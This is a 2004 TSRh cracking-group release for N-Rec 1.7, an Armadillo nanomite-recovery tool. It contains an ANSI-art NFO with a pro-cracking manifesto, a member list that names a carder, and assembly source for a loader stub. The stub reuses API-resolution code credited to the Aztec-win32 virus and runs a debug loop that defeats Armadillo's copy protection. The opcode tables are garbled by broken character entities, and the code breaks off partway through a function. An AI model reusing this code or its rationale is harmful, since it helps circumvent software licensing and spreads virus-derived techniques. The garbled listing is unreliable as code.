tsrh.nfo:
яяя я▄▄▄ ▄ ▄▄████▄▄ ▄
яя▄▄▄▄█████▀▀▀ ▄▄▓▄ ▄▓▀ ▀▀▀▀ ▀▓██▄ ████▄
я ▄████████▀▀ ▄▄▄██▀▀ ▀ ▄ ██▌ ▄██▄ ▓██░▐████░
яя▄████▀▓███▓ ▓██▀ ▒▓░█ ▐▓██░ ▐███▐████
▐███▀ я▒████▌я ▓██▌ ▓██▓ ████ ███▓▐███
██ я▒███▓ ▀██ ▀█ ▄████ ▒███▌████ ▄▄▄
▐██▄ ▐███▌я ▀██▄▄ ▐████▌ ▄███▓▐███▓ ▄▄███████▄▄
█▀ я▐███▌ ▀▀▀▓██▓▄▄▄ ████▓ ▄▄▄█▓▀▀ ▓████ ▀ ▀▀█████▄
▄███▌я ▐▒ ▀▀██▄▄ ▀▓█▌ ▀██▄▄ █████ ████▓▌
▒███▓я ██▌ ████▌▐█▒ ▀▀██▄▄ ▀▀▓ ░████▓
я ▄▄████▀я ▐███▄▄ ▄▄▄▓██▀▀ ██▌ ▀▀▀█▄▄▄ ▄█▓▀▀
▐▄ ▀▀▀▀ ▄▓██▀ ▀▀██▄▄██▀▀▀▀ ▀██▀ ▐▓▄▄▄ ▄█▀ ▄▌
▐█▒▄▄▄ ▀▀▀ ▀▀▀ ▄▄▄▒██
▀█▓▓▒░ ░▒▓▓█▀
▀█▓▒░ ░▒▓█▀
▄█▓▒░ ░▒▓█▄
▄█▓▓▒▒░ ░ ░ ░▒▒▓▓█▄
█▓▀ ▀▀ ▄▄▓▓▓▓▄▄ ▒░ p r e s e n t s ░▒ ▄▄▓▓▓▓▄▄ ▀▀ ▀▓█
▀▄ ▄█▀▀▀ ▀▀█▓▒░▀ ▀░▒▓█▀▀ ▀▀▀█▄ ▄▀
▀ ▀▀ ▀▀ ▀
app [ N-Rec 1.7
]
url [
http://l
ooking.for.hosting ]
by [ infern0
]
type [ Keygen ]
date [ 17-02-2004
]
▐▄ ▄▌
▐█▒▄▄▄ ▄▄▒██▌
▀█▓▓▒▒░ ░▒▒▓▓█▀
▀█▓▒░ ░▒▓█▀
▄█▓▒░ ░▒▓█▄
▄█▓▓▒▒░ ░ : T A R G E T : ░ ░▒▒▓▓█▄
█▓▀ ▀▀ ▄▄▓▓▓▓▄▄ ▒░ ░▒ ▄▄▓▓▓▓▄▄ ▀▀ ▀▓█
▀▄ ▄█▀▀▀ ▀▀█▓▒░▀ : D E S C R I P T I O N : ▀░▒▓█▀▀ ▀▀▀█▄ ▄▀
▀ ▀▀ ▀▀ ▀
▄▄ ▀▄ ▄▀ ▄▄
▄█▓▓▓▓██▄ ▄▒░ ░▒▄ ▄██▓▓▓▓█▄
▐▒▓▀ ▀▀▓▓▒░▀ ▀░▒▓▓▀▀ ▀▓▒▌
▓▒▌ ▐▒▓
▒ ▒
▒ Armadillo nanomites recover tool. Fully automatic mode to dump all ▒
▒ nanomites tables and resolve Jcc types. Three recover modes ▒
▒ disassembly, live debug and loader injection. ▒
▒ - More powerful stub with environment variables support. ▒
▒ - Armadillo 3.60-3.61 now supported by automatic dumper.
▒
▒ ▒
▓▒ ▒▓
▐▓▒▄█▓▓▄ ▄▓▓█▄▒▓▌
▀▓▓▀ ▓▒▄ ▄▒▓ ▀▓▓▀
▄█▓▒░ ░▒▓█▄
▄█▓▓▒▒░ ░ : R E G I S T E R : ░ ░▒▒▓▓█▄
█▓▀ ▀▀ ▄▄▓▓▓▓▄▄ ▒░ ░▒ ▄▄▓▓▓▓▄▄ ▀▀ ▀▓█
▀▄ ▄█▀▀▀ ▀▀█▓▒░▀ : N O T E S : ▀░▒▓█▀▀ ▀▀▀█▄ ▄▀
▀ ▀▀ ▀▀ ▀
▄▄ ▀▄ ▄▀ ▄▄
▄█▓▓▓▓██▄ ▄▒░ ░▒▄ ▄██▓▓▓▓█▄
▐▒▓▀ ▀▀▓▓▒░▀ ▀░▒▓▓▀▀ ▀▓▒▌
▓▒▌ ▐▒▓
▒ ▒
▒ Enjoy using this tool :) ▒
▒ ▒
▓▒ ▒▓
▐▓▒▄█▓▓▄ ▄▓▓█▄▒▓▌
▀▓▓▀ ▓▒▄ ▄▒▓ ▀▓▓▀
▄█▓▒░ ░▒▓█▄
▄█▓▓▒▒░ ░ : J U S T : ░ ░▒▒▓▓█▄
█▓▀ ▀▀ ▄▄▓▓▓▓▄▄ ▒░ a ░▒ ▄▄▓▓▓▓▄▄ ▀▀ ▀▓█
▀▄ ▄█▀▀▀ ▀▀█▓▒░▀ : G A M E : ▀░▒▓█▀▀ ▀▀▀█▄ ▄▀
▀ ▀▀ ▀▀ ▀
▄▄ ▀▄ ▄▀ ▄▄
▄█▓▓▓▓██▄ ▄▒░ ░▒▄ ▄██▓▓▓▓█▄
▐▒▓▀ ▀▀▓▓▒░▀ ▀░▒▓▓▀▀ ▀▓▒▌
░▒▌ ▐▒░
░▒ now, you are a part of the game, too. all your personal qualities ▒░
░░ have been logged and u can't exit untill your death. its game
of ░░
░░ information... someone call it illegal, someone can't agree with it ░
░░ or tries to deny it, it makes one disappoint, or happy, but cracking ░
░░ force exist without asking for your opinion. the crime of the most
░░
░░ enthusiasts is that of curiosity, is that of reversing, is that of ░░
░░ willing to know 'how it must be'. and they explore... they
change ░░
░░ bytes, they unpack, debug and analyze those 'uncrackable routines
9; ░░
░░ you can't even imagine, and it gives them pleasure, it gives them ░
░
░░ knowledge... ░░
░░ nowdays, many people are envolved into it-related branches of ░░
░░ industry. lots of ideas and their realizations appear every day. they ░
░░ make doing specific sums more easier, but software developers want to ░
░░ get compensation for their 'hard work'. they protect... to the mo
st ░
░░ of them it seems unbeliveable to share their code, getting experience
░ by discussing it, making it better... there is no argue with buying ░
░ 'really good' apps, their authors never try getting much from it, y
ou ░░
░░ enjoy support and programm for your money, coz author wants to get ░░
░░ experience, too. he optimizes it, he wants it work better. we want
░░
░░ more such authors, less those greedy men, who wants you pay for buggy ░░
░░ shit never worth seeing. best is open source... individuals of even ░░
░ cracking groups may go down, but challenge will never end... ░░
▒░ nevertheless its just a game... ░▒
░▒ ▒░
▓▒ if freedom is outlawed, only outlaws will have freedom ▒▓
▐▓▒▄█▓▓▄ ▄▓▓█▄▒▓▌
▀▓▓▀ ▓▒▄ ▄▒▓ ▀▓▓▀
▄█▓▒░ ░▒▓█▄
▄█▓▓▒▒░ ░ : T S R h T e a M : ░ ░▒▒▓▓█▄
█▓▀ ▀▀ ▄▄▓▓▓▓▄▄ ▒░ ░▒ ▄▄▓▓▓▓▄▄ ▀▀ ▀▓█
▀▄ ▄█▀▀▀ ▀▀█▓▒░▀ : M E M B E R S : ▀░▒▓█▀▀ ▀▀▀█▄ ▄▀
▀ ▀▀ ▀▀ ▀
▄▄ ▀▄ ▄▀ ▄▄
▄█▓▓▓▓██▄ ▄▒░ ░▒▄ ▄██▓▓▓▓█▄
▐▒▓▀ ▀▀▓▓▒░▀ ▀░▒▓▓▀▀ ▀▓▒▌
░▒▌ ▐▒░
▒░ A C T I V E ░▒
░░ ░░
░░ [ B-$hep .................... ] [ founder, cracker .......... ] ░░
░░ [ Nitrogen .................. ] [ cracker, coder ............ ] ░░
░░ [ EGOiST .................... ] [ cracker, coder ............ ] ░░
░░ [ NeRo ...................... ] [ cracker ................... ] ░░
░░ [ Funbit .................... ] [ cracker, coder ............ ] ░░
░░ [ ByTESCRK .................. ] [ cracker ................... ] ░░
░░ [ ReaL|sty .................. ] [ cracker ................... ] ░░
░░ [ Vepergen .................. ] [ cracker ................... ] ░░
░░ [ BoOMBoX.................... ] [ cracker.................... ] ░░
░░ [ QIce ...................... ] [ cracker, coder ............ ] ░░
░░ [ Geo4ce .................... ] [ carder .................... ] ░░
░░ [ mR_gANDALF ................ ] [ cracker ................... ] ░░
░░ [ Bra!NSHiT.................. ] [ cracker.................... ] ░░
░░ [ MozgC ..................... ] [ cracker.................... ] ░░
░░ [ infern0 ................... ] [ cracker.................... ] ░
░
░░ [ V0land..................... ] [ palm cracker............... ] ░
░
░░ ░░
░░ T R I A L ░░
░░ ░░
░░ [ Lz......................... ] [ cracker.................... ] ░░
░░ ░░
░░ F R E E Z E D ░░
░░ ░░
░░ [ OxEn (ARMY)................ ] [ founder, cracker .......... ]
░░
░░ [ Spate ..................... ] [ cracker ................... ] ░░
▒░ [ BruceLee .................. ] [ cracker ................... ] ░▒
░░ [ Koba Yashi ................ ] [ cracker ................... ] ░░
▒▒ ▒▒
▓▒ ▒▓
▐▓▒▄█▓▓▄ ▄▓▓█▄▒▓▌
▀▓▓▀ ▓▒▄ ▄▒▓ ▀▓▓▀
▄█▓▒░ ░▒▓█▄
▄█▓▓▒▒░ ░ ░ ░▒▒▓▓█▄
█▓▀ ▀▀ ▄▄▓▓▓▓▄▄ ▒░ : C O N T A C T S : ░▒ ▄▄▓▓▓▓▄▄ ▀▀ ▀▓█
▀▄ ▄█▀▀▀ ▀▀█▓▒░▀ ▀░▒▓█▀▀ ▀▀▀█▄ ▄▀
▀ ▄ ▀▀ ▀▀ ▄ ▀
▐░ web [
http://zor.org/tsrh ] ░▌
░▒ forum [
http://zor.org/tsrhclub ] ▒░
▐░ irc [ #tsrh (at EFNET) ] ░▌
▀▄ ▄▀
▀ nfo.last.updated ▀
feb-04-2k4
file_id.diz:
TSRh TeaM 2004 date: 17-02-2004
██▀▀▀▀▀▀▀▀▀▀▀█ ▀▀▀▀▓ █▀▀▀▀▀▀▀▀█ █▀▀█ █▀▀▀█
▓█ █▀█ █▀█ █ ▄ ▀ █ █ █▀█ ░ █ █ █ █ ░ █
▒▓▄█ ▓ █ █▄▄▓ █ ▀▀▀ ▓ █▄█ ▄▄▓ ▓ █▄█cXc▓
▒█ █ ▄▄▄▄ ▀█▀▀█ ▒█ █ █▄▄▄▄ ▒█ █ █CPH█
/ ░███ █ █▄▄█ █ ░█ █ █ ▄ █ ░███ █ ▄ █
/ ▒███ █▓▄▄▄▄▄▄▓█ ▒█▄█ █▄▄▄█ ▒███ █▄▄▄█
N-Rec 1.7
Keygen
stub/dbg_loop.asm:
;===========================================================================
;
; these are source code for stub.bin N-Rec loader. This file contains code
; from Aztec-win32 virus (c) by Billy Belcebu.
; this file need to be compiled using FASM assembler. Then you need to strip
; all headers and store to STUB.BIN only code section till (and including)
; the 'eof' string.
; code are completly unoptimised, it's just VC.Net asm output of correspon-
; ding C routines of N-Rec.
;
; (c) 2004 infern0 / TSRh team
;
; any coments, improved sources and bugreports are welcome to
; infern0_tsrh@tiraet.com or ICQ: 23485245
;
;===========================================================================
format PE GUI 4.0
entry stubBegin
include 'd:\fasm\include\win32a.inc'
section '.code' code readable writeable executable
; host parameters
hostOEP dd 0ffffffffh ; +0
_nanoCount dd 0eeeeeeeeh ; +4
; main data pointers
_nano_ccad dd 0 ; +8
_nano_jdst dd 0 ; +c
_nano_jtyp dd 0 ; +10
_nano_jsiz dd 0 ; +14
_nano_index dd 0 ; +18
_env_block dd 0 ; +1c
stubBegin: ; new EP +20
jmp realBegin
; imports addresses
@@Namez:
db 'CreateProcessA',0
db 'ResumeThread',0
db 'WaitForDebugEvent',0
db 'GetThreadContext',0
db 'SetThreadContext',0
db 'ContinueDebugEvent',0
db 'TerminateProcess',0
db 'CloseHandle',0
db 'VirtualProtectEx',0
db 'ReadProcessMemory',0
db 'WriteProcessMemory',0
db 'ExitProcess',0
db 'GetModuleHandleA',0
db 'LocalFree',0
db 'GetCommandLineA',0
db 'LocalAlloc',0
db 'SetEnvironmentVariableA',0
db 0BBh
@@Offsetz:
CreateProcessA dd 0
ResumeThread dd 0
WaitForDebugEvent dd 0
GetThreadContext dd 0
SetThreadContext dd 0
ContinueDebugEvent dd 0
TerminateProcess dd 0
CloseHandle dd 0
VirtualProtectEx dd 0
ReadProcessMemory dd 0
WriteProcessMemory dd 0
ExitProcess dd 0
GetModuleHandleA dd 0
LocalFree dd 0
GetCommandLineA dd 0
LocalAlloc dd 0
SetEnvironmentVariableA dd 0
; internal vars
_res db 0
kernel dd 0
AddressTableVA dd 0
NameTableVA dd 0
OrdinalTableVA dd 0
_dbgProcess dd 0
_pCmdLine dd 0
; internal arrays
_short_opcodes db 0xEB, 0x7B, 0x71, 0
120;70, 0xE3, 0x72, 0x7E, 0x73, 0
20;7A, 0x78
db 0x74, 0x7F, 0x7C, 0x
79, 0x77, 0x76, 0x7D, 0x75
_longjmp_opcd db 0xE9, 0x00, 0x
8;0, 0x00, 0x00, 0x00,
48;x00, 0x00, 0x00, 0x
48;0
db 0x00, 0x00, 0x
;00, 0x00, 0x00, 0x00
, 0x00, 0x00
_long_opcodes dw 0x0000, 0x8B0F,
48;x810F, 0x800F, 0x0000,
0x820F, 0x8E0F, 0x830F
dw 0x8A0F, 0x880F, 0x84&
#48;F, 0x8F0F, 0x8C0F, 0x890F, 0&
#120;870F, 0x860F, 0x8D0F, 0x850F
_threads: repeat 100
dd ?
dd ?
end repeat
;-------------------------------------------------------------------------------
------------------
realBegin:
pushad
pushfd
call delta
delta: pop esi
sub esi, delta ; o
mov eax, dword [esi+hostOEP]
mov dword [esi+oldEIP],eax
; these works only in NT+ systems. fuck!...
; mov ebx, [fs:30h] ; EAX=PEB base
; mov ebx, [ebx+0Ch] ; EAX=PEB_LDR_DATA
; mov ebx, [ebx+1Ch] ; InitOrderModuleList 1st ent
ry
; mov ebx, [ebx] ; next entry
; mov ebx, [ebx+8] ; K32 imagebase
; mov dword [esi+kernel], ebx
_ReadSEH:
xor edx, edx
mov eax, [fs:edx]
dec edx
_SearchK32:
cmp [eax], edx
je _CheckK32
mov eax, dword [eax]
jmp _SearchK32
_CheckK32:
mov eax, [eax+4]
xor ax, ax
_SearchMZ:
cmp word [eax], 5A4Dh
je _CheckMZ
sub eax, 10000h
jmp _SearchMZ
_CheckMZ:
mov edx, [eax+3ch]
cmp word [eax+edx], 4550h
jne exit
mov dword [esi+kernel], eax
; get imports
push esi
mov ebp, esi ; ebp - delta offset
lea edi,[ebp+@@Offsetz]
lea esi,[ebp+@@Namez]
call GetAPIs
pop esi
push 0
call [esi+GetModuleHandleA]
mov dword [esi+ModBase], eax
; adjust tables pointers
mov ebx, dword [esi+ModBase]
add ebx, esi
add ebx, 1000h ; ???????
add dword [esi+_nano_ccad], ebx
add dword [esi+_nano_jdst], ebx
add dword [esi+_nano_jtyp], ebx
add dword [esi+_nano_jsiz], ebx
add dword [esi+_nano_index], ebx
add dword [esi+_env_block], ebx
; check OS run or server run
call cmdLineWork
cmp eax, -1
jz errRun
or eax, eax
jnz jmpToHost
; start debug loop
call _start
exit:
mov eax, [esi+_pCmdLine]
or eax, eax
jz skipFree
push eax
call [esi+LocalFree]
skipFree:
mov eax, dword [esi+ExitProcess]
mov dword [esi+exitPr],eax
popfd
popad
push 0
;call [esi+ExitProcess]
mov eax, 12345678h
exitPr = $-4
jmp eax
errRun:
; display some messbox
; ...
jmp exit
jmpToHost:
; set environment variables
mov ebx, [esi+_env_block] ; env block pointer
mov edx, [ebx] ; env count
add ebx, 4 ; env strings begin
or edx, edx
jz $env_done
$env_loop:
push edx
xor al, al
mov edi, ebx
mov ecx, -1
repne scasb
push edi ; value
push ebx ; name
mov ecx, -1
repne scasb
mov ebx, edi ; next name
call [esi+SetEnvironmentVariableA] ; no don't check for any erro
rs, but ...
pop edx
dec edx
jnz $env_loop
$env_done:
popfd
popad
mov eax,12345678h
oldEIP = $-4
add eax,12345678h
ModBase = $-4
jmp eax
;-------------------------------------------------------------------------------
------------------
_len$ = -12 ; size = 4
_p2$ = -8 ; size = 4
_ptr$ = -4 ; size = 4
cmdLineWork:
; 44 : {
push ebp
mov ebp, esp
sub esp, 76 ; 0000
48;04cH
push ebx
push esi
push edi
; 45 : char *ptr, *p2;
; 46 : int len;
; 48 : ptr=GetCommandLine();
call DWORD [esi+GetCommandLineA]
mov DWORD [_ptr$+ebp], eax
; 49 : p2=ptr;
mov eax, DWORD [_ptr$+ebp]
mov DWORD [_p2$+ebp], eax
; 50 : len=0;
mov DWORD [_len$+ebp], 0
$L74324_:
; 51 : while( *(p2++) ) len++;
mov eax, DWORD [_p2$+ebp]
movsx ecx, BYTE [eax]
mov edx, DWORD [_p2$+ebp]
add edx, 1
mov DWORD [_p2$+ebp], edx
test ecx, ecx
je $L74325
mov eax, DWORD [_len$+ebp]
add eax, 1
mov DWORD [_len$+ebp], eax
jmp $L74324_
$L74325:
; 52 : // alloc mem for new cmd line
; 53 : _pCmdLine=(char *)LocalAlloc(LPTR, len+10);
mov eax, DWORD [_len$+ebp]
add eax, 10 ; 00
;00000aH
push eax
push 64 ; 0000
48;040H
call DWORD [esi+LocalAlloc]
mov DWORD [esi+_pCmdLine], eax
; 54 : if( !_pCmdLine )
cmp DWORD [esi+_pCmdLine], 0
jne $L74327
; 55 : return -1;
or eax, -1
jmp $L74319
$L74327:
; 56 : // copy cmd line
; 57 : p2=_pCmdLine;
mov eax, DWORD [esi+_pCmdLine]
mov DWORD [_p2$+ebp], eax
$L74329:
; 58 : while( *[) *(p2++)=*(ptr++);
mov eax, DWORD [_ptr$+ebp]
movsx ecx, BYTE [eax]
test ecx, ecx
je $L74330
mov eax, DWORD [_p2$+ebp]
mov ecx, DWORD [_ptr$+ebp]
mov dl, BYTE [ecx]
mov BYTE [eax], dl
mov eax, DWORD [_p2$+ebp]
add eax, 1
mov DWORD [_p2$+ebp], eax
mov ecx, DWORD [_ptr$+ebp]
add ecx, 1
mov DWORD [_ptr$+ebp], ecx
jmp $L74329
$L74330:
; 59 : // check arg
; 60 : p2=_pCmdLine+len-8;
mov eax, DWORD [_len$+ebp]
mov ecx, DWORD [esi+_pCmdLine]
lea edx, DWORD [ecx+eax-8]
mov DWORD [_p2$+ebp], edx
; 61 : // '-NRE'
; 62 : // 'CSRV'
; 63 : if( *((dword *)p2+0) == 0x45524e2d && *((dword *)p2+1
;) == 0x56525343 )
mov eax, DWORD [_p2$+ebp]
cmp DWORD [eax], 45524e2dh
jne $L74333_
mov eax, DWORD [_p2$+ebp]
cmp DWORD [eax+4], 56525343h
jne $L74333_
; 64 : {
; 65 : // this is second run - kill rest of cmdLine
; === CMD LINE CLEAN BUG ===
; 66 : p2=_pCmdLine+len-9;
;mov eax, DWORD [_len$+ebp]
;mov ecx, DWORD [esi+_pCmdLine] ; clean need NOT IN ALLOCAT
ED MEM BUT IN REAL CMD LINE
mov ecx, DWORD [_ptr$+ebp]
;lea edx, DWORD [ecx+eax-9]
lea edx, DWORD [ecx-9]
mov DWORD [_p2$+ebp], edx
; 67 : *p2=0;
mov eax, DWORD [_p2$+ebp]
mov BYTE [eax], 0
; 68 : return 1;
mov eax, 1
jmp $L74319
$L74333_:
; 69 : }
; 70 : else
; 71 : {
; 72 : // this is first run - append server param
; 73 : p2=_pCmdLine+len;
mov eax, DWORD [esi+_pCmdLine]
add eax, DWORD [_len$+ebp]
; *(p2++)=' ';
mov byte [eax],20h
inc eax
mov DWORD [_p2$+ebp], eax
; 74 : *((dword *)p2)=0x45524e2d; // '-NRE'
mov eax, DWORD [_p2$+ebp]
mov DWORD [eax], 45524e2dh
; 75 : p2+=4;
mov eax, DWORD [_p2$+ebp]
add eax, 4
mov DWORD [_p2$+ebp], eax
; 76 : *((dword *)p2)=0x56525343; // 'CSRV'
mov eax, DWORD [_p2$+ebp]
mov DWORD [eax], 56525343h
; 77 : p2+=4;
mov eax, DWORD [_p2$+ebp]
add eax, 4
mov DWORD [_p2$+ebp], eax
; 78 : *p2=0;
mov eax, DWORD [_p2$+ebp]
mov BYTE [eax], 0
; 79 : return 0;
xor eax, eax
$L74319:
; 80 : }
; 81 : }
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0
;-------------------------------------------------------------------------------
------------------
GetAPIs:
@@1:
push esi
push edi
call GetAPI
pop edi
pop esi
stosd
xchg edi,esi
xor al,al
@@2:
scasb
jnz @@2
xchg edi,esi
@@3:
cmp byte [esi],0BBh
jnz @@1
ret
;-------------------------------------------------------------------------------
------------------
GetAPI:
mov edx,esi
mov edi,esi
xor al,al
@_1:
scasb
jnz @_1
sub edi,esi ; EDI = pазмеp имени функции
mov ecx,edi
xor eax,eax
mov esi,3Ch
add esi,[ebp+kernel]
lodsw
add eax,[ebp+kernel]
mov esi,[eax+78h]
add esi,1Ch
add esi,[ebp+kernel]
lea edi,[ebp+AddressTableVA]
lodsd
add eax,[ebp+kernel]
stosd
lodsd
add eax,[ebp+kernel]
push eax ; mov [NameTableVA],eax
; =)
stosd
lodsd
add eax,[ebp+kernel]
stosd
pop esi
xor ebx,ebx
@_3:
lodsd
push esi
add eax,[ebp+kernel]
mov esi,eax
mov edi,edx
push ecx
cld
rep cmpsb
pop ecx
jz @_4
pop esi
inc ebx
jmp @_3
@_4:
pop esi
xchg eax,ebx
shl eax,1
add eax,dword [ebp+OrdinalTableVA]
xor esi,esi
xchg eax,esi
lodsw
shl eax,2
add eax,dword [ebp+AddressTableVA]
mov esi,eax
lodsd
add eax,[ebp+kernel]
ret
;-------------------------------------------------------------------------------
------------------
_i$ = -4 ; size = 4
_ptr$ = 8 ; size = 4
_size$ = 12 ; size = 4
ZeroMemory:
; 40 : {
push ebp
mov ebp, esp
sub esp, 68 ; 0000
48;044H
push ebx
push esi
push edi
; 41 : int i;
; 42 : for( i=0; i<size; ++i )
mov DWORD [_i$+ebp], 0
jmp $L74323
$L74324:
mov eax, DWORD [_i$+ebp]
add eax, 1
mov DWORD [_i$+ebp], eax
$L74323:
mov eax, DWORD [_i$+ebp]
cmp eax, DWORD [_size$+ebp]
jge $L74321
; 43 : *(ptr++)=0;
mov eax, DWORD [_ptr$+ebp]
mov BYTE [eax], 0
mov ecx, DWORD [_ptr$+ebp]
add ecx, 1
mov DWORD [_ptr$+ebp], ecx
jmp $L74324
$L74321:
; 44 : }
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0
;-------------------------------------------------------------------------------
------------------
tv90 = -984 ; size = 4
_thr$ = -916 ; size = 4
_addr$ = -912 ; size = 4
_code$ = -908 ; size = 4
_dbgStatus$ = -904 ; size = 4
_isExec$ = -900 ; size
= 4
_ctx$ = -896 ; size = 71
6
_de$ = -180 ; size = 96
_pi$ = -84 ; size = 16
_si$ = -68 ; size = 68
_start:
; 40 : {
push ebp
mov ebp, esp
sub esp, 984 ; 000
8;03d8H
push ebx
push esi
push edi
; 41 : STARTUPINFO si;
; 42 : PROCESS_INFORMATION pi;
; 43 : DEBUG_EVENT de;
; 44 : CONTEXT ctx;
; 45 : dword isExec, dbgStatus, code, addr;
; 46 : HANDLE thr;
; 48 : ZeroMemory( &si, sizeof(si) );
push 68 ; 0000
48;044H
lea eax, DWORD [_si$+ebp]
push eax
call ZeroMemory
add esp, 8
; 49 : si.cb=sizeof(si);
mov DWORD [_si$+ebp], 68 ; 00000
044H
; 50 : if( !CreateProcess(NULL, pCmdLine, NULL, NULL, FALSE,
; 51 : CREATE_SUSPENDED | DEBUG_PROCESS | DEBUG_ONLY_THIS_PROCESS | NO
RMAL_PRIORITY_CLASS,
; 52 : NULL, NULL, &si, &pi) )
lea eax, DWORD [_pi$+ebp]
push eax
lea ecx, DWORD [_si$+ebp]
push ecx
push 0
push 0
push 39 ; 000
8;0027H
push 0
push 0
push 0
mov edx, DWORD [esi+_pCmdLine]
push edx
push 0
call DWORD [esi+CreateProcessA]
test eax, eax
jne $L74333
; 53 : {
; 54 : return;
jmp $L74318
$L74333:
; 55 : }
; 56 : dbgProcess=pi.hProcess;
mov eax, DWORD [_pi$+ebp]
mov DWORD [esi+_dbgProcess], eax
; 57 : isExec=1;
mov DWORD [_isExec$+ebp], 1
; 58 : // clear static threads array
; 59 : ZeroMemory( threads, sizeof(threads) );
push 800 ; 000
;00320H
lea eax, [esi+_threads]
push eax
;push _threads ; o
call ZeroMemory
add esp, 8 ; 0000
8;00cH
; 60 : AddThread(pi.dwThreadId, pi.hThread);
mov eax, DWORD [_pi$+ebp+4]
push eax
mov ecx, DWORD [_pi$+ebp+12]
push ecx
call _AddThread
add esp, 8
; 61 : ResumeThread(pi.hThread);
mov eax, DWORD [_pi$+ebp+4]
push eax
call DWORD [esi+ResumeThread]
$L74335:
; 62 : while( isExec )
cmp DWORD [_isExec$+ebp], 0
je $L74336
; 63 : {
; 64 : if( WaitForDebugEvent(&de, 100) )
push 100 ; 00
000064H
lea eax, DWORD [_de$+ebp]
push eax
call DWORD [esi+WaitForDebugEvent]
test eax, eax
je $L74337
; 65 : {
; 66 : dbgStatus=DBG_CONTINUE;
mov DWORD [_dbgStatus$+ebp], 00010002h
; 67 : switch( de.dwDebugEventCode )
mov eax, DWORD [_de$+ebp]
mov DWORD [tv90+ebp], eax
mov ecx, DWORD [tv90+ebp]
sub ecx, 1
mov DWORD [tv90+ebp], ecx
cmp DWORD [tv90+ebp], 8
ja $L74340
mov edx, DWORD [tv90+ebp]
mov eax, DWORD [esi+$L74450+edx*4]
add eax, esi
jmp eax
;jmp DWORD [esi+$L74450+edx*4]
$L74343:
; 68 : {
; 69 : case EXCEPTION_DEBUG_EVENT:
; 70 : code=de.u.Exception.ExceptionRecord.Except
ionCode;
mov eax, DWORD [_de$+ebp+12]
mov DWORD [_code$+ebp], eax
; 71 : addr=de.u.Exception.ExceptionRecord.Except
ionAddress;
mov eax, DWORD [_de$+ebp+24]
mov DWORD [_addr$+ebp], eax
; 72 : if( code == EXCEPTION_BREAKPOINT )
cmp DWORD [_code$+ebp], 80000003h
jne $L74345
; 73 : {
; 74 : if( processNanomite(addr) )
mov eax, DWORD [_addr$+ebp]
push eax
call _processNanomite
add esp, 4
test eax, eax
je $L74346
; 75 : {
; 76 : if( (thr=GetThread(de.dwThreadId)) != NULL )
mov eax, DWORD [_de$+ebp+8]
push eax
call _GetThread
add esp, 4
mov DWORD [_thr$+ebp], eax
cmp DWORD [_thr$+ebp], 0
je $L74348
; 77 : {
; 78 : ctx.ContextFlags = CONTEXT_INTEGER | CONTEXT_
CONTROL;
mov DWORD [_ctx$+ebp], 00010003h
; 79 : GetThreadContext(thr, &ctx);
lea eax, DWORD [_ctx$+ebp]
push eax
mov ecx, DWORD [_thr$+ebp]
push ecx
call DWORD [esi+GetThreadContext]
; 80 : ctx.Eip--;
mov eax, DWORD [_ctx$+ebp+184]
sub eax, 1
mov DWORD [_ctx$+ebp+184], eax
; 81 : SetThreadContext(thr, &ctx);
lea eax, DWORD [_ctx$+ebp]
push eax
mov ecx, DWORD [_thr$+ebp]
push ecx
call DWORD [esi+SetThreadContext]
$L74348:
; 82 : }
; 83 : }
; 84 : else
jmp $L74349
$L74346:
; 85 : dbgStatus=DBG_CONTINUR;
mov DWORD [_dbgStatus$+ebp], 00010002h
$L74349:
; 86 : }
; 87 : else
jmp $L74351
$L74345:
; 88 : dbgStatus=DBG_EXCEPTION_NOT_HANDLED;
mov DWORD [_dbgStatus$+ebp], 80010001h
$L74351:
; 89 : break;
jmp $L74340
$L74353:
; 90 : case EXIT_PROCESS_DEBUG_EVENT:
; 91 : case RIP_EVENT:
; 92 : isExec=0;
mov DWORD [_isExec$+ebp], 0
; 93 : break;
jmp $L74340
$L74354:
; 94 : case CREATE_THREAD_DEBUG_EVENT:
; 95 : AddThread(de.dwThreadId, de.u.CreateThread.hThread);
mov eax, DWORD [_de$+ebp+12]
push eax
mov ecx, DWORD [_de$+ebp+8]
push ecx
call _AddThread
add esp, 8
; 96 : break;
jmp $L74340
$L74355:
; 97 : case EXIT_THREAD_DEBUG_EVENT:
; 98 : DelThread(de.dwThreadId);
mov eax, DWORD [_de$+ebp+8]
push eax
call _DelThread
add esp, 4
$L74340:
; 99 : break;
; 100 : }
; 101 : ContinueDebugEvent(de.dwProcessId,de.dwThreadId,dbgSt
atus);
mov eax, DWORD [_dbgStatus$+ebp]
push eax
mov ecx, DWORD [_de$+ebp+8]
push ecx
mov edx, DWORD [_de$+ebp+4]
push edx
call DWORD [esi+ContinueDebugEvent]
$L74337:
; 102 : }
; 103 : }
jmp $L74335
$L74336:
; 104 : TerminateProcess(pi.hProcess, 0);
push 0
mov eax, DWORD [_pi$+ebp]
push eax
call DWORD [esi+TerminateProcess]
; 105 : CloseHandle(pi.hThread);
mov eax, DWORD [_pi$+ebp+4]
push eax
call DWORD [esi+CloseHandle]
; 106 : CloseHandle(pi.hProcess);
mov eax, DWORD [_pi$+ebp]
push eax
call DWORD [esi+CloseHandle]
$L74318:
; 107 : }
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0
$L74450:
DD $L74343
DD $L74354
DD $L74340
DD $L74355
DD $L74353
DD $L74340
DD $L74340
DD $L74340
DD $L74353
;-------------------------------------------------------------------------------
------------------
tv134 = -112 ; size = 4
_bytes$ = -44 ; size = 4
_oldProtect$ = -40 ; size = 4
_processBytes$ = -36 ; size = 16
_dest$ = -20 ; size = 4
_size$ = -14 ; size = 1
_type$ = -13 ; size = 1
_i$ = -12 ; size = 4
_result$ = -8 ; size = 4
_index$ = -4 ; size = 4
_addr$ = 8 ; size = 4
_processNanomite:
; 111 : {
push ebp
mov ebp, esp
sub esp, 112 ; 000
;00070H
push ebx
push esi
push edi
; 112 : // try to find nano in address table
; 113 : int index,result=0, i;
mov DWORD [_result$+ebp], 0
; 114 : byte type, size;
; 115 : dword dest;
; 116 : unsigned char processBytes[0x10];
; 117 : unsigned long oldProtect=0, bytes;
mov DWORD [_oldProtect$+ebp], 0
; 118 :
; 119 : for( index=0; index<nanoCount; ++inde
120; )
mov DWORD [_index$+ebp], 0
jmp $L74368
$L74369:
mov eax, DWORD [_index$+ebp]
add eax, 1
mov DWORD [_index$+ebp], eax
$L74368:
mov eax, DWORD [_index$+ebp]
cmp eax, DWORD [esi+_nanoCount]
jge $L74370
